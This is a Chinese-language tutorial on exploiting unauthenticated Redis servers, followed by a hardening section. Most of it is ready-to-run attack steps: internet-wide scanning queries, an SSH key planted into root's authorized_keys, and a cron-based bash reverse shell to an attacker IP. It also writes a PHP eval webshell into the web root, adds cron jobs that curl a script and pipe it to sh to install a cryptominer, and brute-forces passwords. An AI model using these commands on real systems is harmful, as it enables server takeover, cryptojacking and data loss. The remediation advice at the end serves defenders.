1.Redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
2. Redis漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
3. 测试环境介绍
Redis默认端口
Redis默认配置端口为6379,sentinel.conf配置器端口为26379
官方站点
http://download.redis.io/releases/redis-3.2.11.tar.gz
安装redis
wgethttp://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。
修改配置文件redis.conf
cp redis.conf./src/redis.conf
bind 127.0.0.1
前面加上#号注释掉
protected-mode
设为no
启动redis-server
./src/redis-server redis.conf
连接Redis服务器
交互式方式
redis-cli -h {host} -p {port} 方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了
例如命令
redis-cli -h 127.0.0.1-p 6379 加-a参数表示带密码的访问
命令方式
redis-cli -h {host} -p {port} {command} 直接得到命令的返回结果.
常见命令
命令描述
info查看信息
flushall删除所有数据库内容
flushdb刷新数据库
KEYS *查看所有键,使用 select
num 可以查看键值数据
set test “who am i”设置变量
config set dir dirpath设置路径等配置
save保存
get 变量查看变量名称
更多命令可以参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html
相关漏洞
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:
Redis 远程代码执行漏洞(CVE-2016-8339)
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG
SET命令可导致越界写,代码执行。
CVE-2015-8080
Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。
CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码
CVE-2013-7458
读取“.rediscli_history”配置文件信息
通过文件包含读取其配置文件
Redis配置文件中一般会设置明文密码,在进行渗透时也可以通过webshell查看其配置文件,Redis往往不只一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透。
使用Redis暴力破解工具
https://github.com/evilpacket/redis-sha-crack,其命令为:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1host2.example.com:5555
需要安装node:
git clone https://github.com/nodejs/node.git
chmod -R 755 node
cd node
./configure
make
msf下利用模块
auxiliary/scanner/redis/file_upload normal Redis File Upload
auxiliary/scanner/redis/redis_login normal Redis Login Utility
auxiliary/scanner/redis/redis_server normal Redis CommandExecute Scanner
[if !supportLists]4. [endif]攻击方式
使用nmap获取主机开放的端口
针对redis默认端口6379通过使用nmap进行端口扫描
nmap -A -p 6379 --script redis-info 192.168.3.23
or
nmap -v -n -Pn -p 6379 -sV --script redis-info 192.168.6.0/24
通过漏洞搜索引擎获取全球开放的端口
https://www.zoomeye.org/searchResult?q=port:6379
除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。
https://fofa.so/ 通过访问此站点输入如下搜索语法:
port=6379 && protocol==redis && country=CN
未受权访问敏感信息
./redis-cli-h 192.168.3.13
Info
可以查看里面的key和其对应的值
keys *
get key
删除数据
flushall删除所有数据
del key 删除键为key的数据
ssh公钥入侵
[if !supportLists]l [endif]本地生成key
ssh-keygen -trsa
[if !supportLists]l [endif]公钥导入key.txt
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e
"\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat
/root/.ssh/key.txt | ./redis-cli -h 192.168.3.13 -x set shit
[if !supportLists]l [endif]连接远程主机./redis-cli -h 192.168.10.153
[if !supportLists]l [endif]设置redis的备份路径和保存的文件名authorized_keys
config set dir/root/.ssh
config setdbfilename authorized_keys
[if !supportLists]l [endif]将数据保存在硬盘上
Save
[if !supportLists]l [endif]使用ssh远程连接目标
ssh 192.168.3.13
通过crontab计划任务反弹shell
首先是本地kali下使用nc监听端口
Nc -lvnp 4488
连接redis反弹shell
./redis-cli -h 192.168.3.13
set shit"\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.3.18/44880>&1\n\n"
config set dir/var/spool/cron
config setdbfilename root
save
1分钟之后即可反弹shell
通过redis写小马到指定的web目录
./redis-cli -h192.168.152.128
config set dir/var/www/html
set shit"\n\n\neval($_POST['fuck']);?>\n\n\n"
config setdbfilename shell.php
save
写入挖矿进程
所谓”挖矿”实质上是用计算机解决一项复杂的数学问题,来保证比特币网络分布式记账系统的一致性。比特币网络会自动调整数学问题的难度,让整个网络约每10分钟得到一个合格答案。随后比特币网络会新生成一定量的比特币作为赏金,奖励获得答案的人。它依据特定算法,通过大量的计算产生,所以才会大量占据cpu,导致系统卡顿,严重的直接瘫痪。给服务器上传挖矿木马有两种方法:
1.用上面的方法拿下webshell,给服务器指定目录上传一个watch-smartd挖矿木马,一个shell脚本1.sh(上传的文件默认没有x权限) 这个脚本给其执行权限
vim 1.sh
#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH
Chmod +x/root/test/watch-smartd
Exit 0
使用kali远程连接redis
./redis-cli -h192.168.3.13
config set dir/var/spool/cron
config setdbfilename root
set watch-smartd"\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh"\n\n\n/1sh/root/test/1.sh\n\n"
save
2.写入定时任务,到指定的网站去下载挖矿木马和shell脚本1.sh
vim1.sh
#!bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin if [ ! -f "/tmp/watch-smartd"]; then
wgethttp://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd
elsechmod +x /tmp/watch-smartd
fi
exit0
在kali上远程连接redis
./redis-cli -h192.168.152.128
config set dir/var/spool/cron config
set dbfilenameroot
set shit"\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set shut"\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save
利用redis执行命令
redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
本地建立一个lua脚本
vim hello.lua
localmsg ="hello,hack!"
returnmsg
在客户端连接redis服务器并执行hello.lua
./redis-cli eval "$(cathello.lua)" 0 -h 192.168.3.13
利用hydra对redis进行暴力破解
hydra-Ppasswd.txt redis://192.168.3.13
[if !supportLists]5. [endif]redis日志
首先找到redis的配置文件
打开配置文件,找到logfile(可能有多个logfile,认准旁边有loglevel的那个),或者直接搜logfile “”
将路径填入logfile后面的引号内,例如:logfile”/usr/local/redis/redis.log”
保存配置文件,以这个配置文件启动redis,然后这时候redis的启动框会变成一个黑框框,什么输出都没有,这就对了(因为输入全写到日志文件去了)
loglevel是用来设置日志等级的,具体可以看配置文件中上面的注释
[if !supportLists]6. [endif]修复方案
1.禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-commandFLUSHALL ""
rename-commandCONFIG ""
rename-commandEVAL ""
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-commandFLUSHALL "name1"
rename-commandCONFIG "name2"
rename-commandEVAL "name3"
2. 以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd-rredis && useradd -r -g redis redis
3. 为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepassmypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4. 禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
5. 修改默认端口
修改配置文件redis.conf文件
Port6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6. 保证authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh
的 immutable 权限:
chattr+i~/.ssh
7. 设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
网友评论